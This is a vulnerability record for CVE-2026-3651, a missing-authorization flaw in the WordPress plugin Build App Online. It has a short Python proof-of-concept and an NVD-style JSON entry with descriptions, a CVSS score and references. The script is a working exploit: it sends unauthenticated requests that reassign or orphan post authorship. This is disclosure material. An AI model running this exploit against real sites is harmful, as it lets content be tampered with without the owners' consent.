CVE-2026-3651

import requests # Target URL of the vulnerable WordPress site target_url = "http://example.com/wp-admin/admin-ajax.php" # Payload data # post_id: The ID of the post to be modified # post_author: The ID of the user to set as author (0 to orphan, or specific user ID) payload = { "action": "build-app-online-update-vendor-product", "post_id": "1", "post_author": "0" } try: # Sending POST request without authentication response = requests.post(target_url, data=payload) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:", response.text) else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print("[-] An error occurred:", str(e))

{"cve": {"id": "CVE-2026-3651", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:17:34.023", "lastModified": "2026-04-24T16:27:44.277", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Build App Online plugin for WordPress is vulnerable to unauthorized access in all versions up to, and including, 1.0.23. This is due to the plugin registering the 'build-app-online-update-vendor-product' AJAX action via wp_ajax_nopriv_ without proper authentication checks, capability verification, or nonce validation in the update_vendor_product() function. The function accepts a user-supplied post ID from the request and calls wp_update_post() to modify the post_author field without validating whether the user has permission to modify the specified post. This makes it possible for unauthenticated attackers to modify the post_author of arbitrary posts to 0 (orphaning posts from their legitimate authors), or for authenticated attackers to claim ownership of any post by setting themselves as the author."}, {"lang": "es", "value": "El plugin Build App Online para WordPress es vulnerable a acceso no autorizado en todas las versiones hasta la 1.0.23, inclusive. Esto se debe a que el plugin registra la acción AJAX 'build-app-online-update-vendor-product' a través de wp_ajax_nopriv_ sin las comprobaciones de autenticación adecuadas, verificación de capacidades o validación de nonce en la función update_vendor_product(). La función acepta un ID de publicación proporcionado por el usuario de la solicitud y llama a wp_update_post() para modificar el campo post_author sin validar si el usuario tiene permiso para modificar la publicación especificada. Esto hace posible que atacantes no autenticados modifiquen el post_author de publicaciones arbitrarias a 0 (dejando las publicaciones huérfanas de sus autores legítimos), o que atacantes autenticados reclamen la propiedad de cualquier publicación al establecerse a sí mismos como el autor."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/build-app-online/tags/1.0.23/admin/class-build-app-online-admin.php#L556", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/build-app-online/tags/1.0.23/admin/class-build-app-online-admin.php#L565", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/build-app-online/tags/1.0.23/includes/class-build-app-online.php#L233", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/build-app-online/trunk/admin/class-build-app-online-admin.php#L556", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/build-app-online/trunk/admin/class-build-app-online-admin.php#L565", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/build-app-online/trunk/includes/class-build-app-online.php#L233", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/51564b26-0d7c-4499-9f5a-84f76c5a5e8a?source=cve", "source": "[email protected]"}]}}